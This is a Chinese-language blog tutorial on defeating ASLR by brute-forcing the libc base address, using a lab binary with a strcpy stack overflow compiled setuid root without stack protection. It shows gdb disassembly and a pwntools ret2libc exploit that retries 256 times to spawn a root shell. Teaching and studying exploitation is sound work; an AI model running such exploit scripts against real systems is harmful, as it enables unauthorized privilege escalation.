绕过ASLR(二)

使用爆破方法绕过ASLR

Posted by gxkyrftx on March 2, 2019

0.前言

有关ASLR的简介参考http://gxkyrftx.xyz/2019/03/02/%E7%BB%95%E8%BF%87ASLR-%E4%B8%80/以下直接介绍绕过ASLR的第二种方法,爆破libc基址

1.环境及工具

虚拟机环境:Ubuntu 12.04 Desktop(x86)

工具:gdb-peda

2.绕过ASLR

由于ASLR(Address Space Layout Randomization)的开启,地址空间布局随机化。但是地址空间随机分布的范围是有限的,稍做验证如下

1

可以看到libc的基址变化范围,因此,可以尝试通过爆破的方式,得到shell

3.漏洞程序

3.1 漏洞源码

#include <stdio.h>

#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256];
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 fflush(stdout);
 return 0;
}

3.2 编译命令

#echo 2 > /proc/sys/kernel/randomize_va_space

$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

3.3 调试

使用gdb调试,main()函数汇编代码如下

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048464 <+0>: push   ebp
   0x08048465 <+1>: mov    ebp,esp
   0x08048467 <+3>: and    esp,0xfffffff0
   0x0804846a <+6>: sub    esp,0x110
   0x08048470 <+12>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048473 <+15>:    add    eax,0x4
   0x08048476 <+18>:    mov    eax,DWORD PTR [eax]
   0x08048478 <+20>:    mov    DWORD PTR [esp+0x4],eax
   0x0804847c <+24>:    lea    eax,[esp+0x10]
   0x08048480 <+28>:    mov    DWORD PTR [esp],eax
   0x08048483 <+31>:    call   0x8048370 <strcpy@plt>
   0x08048488 <+36>:    lea    eax,[esp+0x10]
   0x0804848c <+40>:    mov    DWORD PTR [esp],eax
   0x0804848f <+43>:    call   0x8048380 <puts@plt>
   0x08048494 <+48>:    mov    eax,ds:0x804a020
   0x08048499 <+53>:    mov    DWORD PTR [esp],eax
   0x0804849c <+56>:    call   0x8048360 <fflush@plt>
   0x080484a1 <+61>:    mov    eax,0x0
   0x080484a6 <+66>:    leave  
   0x080484a7 <+67>:    ret    
End of assembler dump.

4.编写exp

首先要爆破,需要找到一个基址,我选取了0xb75c9000作为libc的基址, 然后要找到sysytem和exit在libc中的偏移,然后用libc基址,加上偏移作为函数的地址,即system_addr和exit_addr。寻找步骤如下:

2

system_arg在每个版本中的偏移是相同的,所以与之前的相同

payload的构造:首先输入268个‘A’填充缓冲区和对齐空间+system函数地址+exit函数地址+‘/bin/sh’的地址。然后通过暴力破解的方式,进行256次尝试,来获得root shell。最终编写exp如下:

from pwn import *
from subprocess import call

libc_base_addr = 0xb75c9000
exit_off = 0x00032fc0 
system_off = 0x0003d170 
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = 0x804827d
 
payload="A" * 268+p32(system_addr)+p32(exit_addr)+p32(system_arg)

i = 0
while (i < 256):
 print "Number of tries: %d" %i
 i += 1
 ret = call(["./vuln", payload])
 if (not ret):
  break

最后结果如下:

3


本文访问量: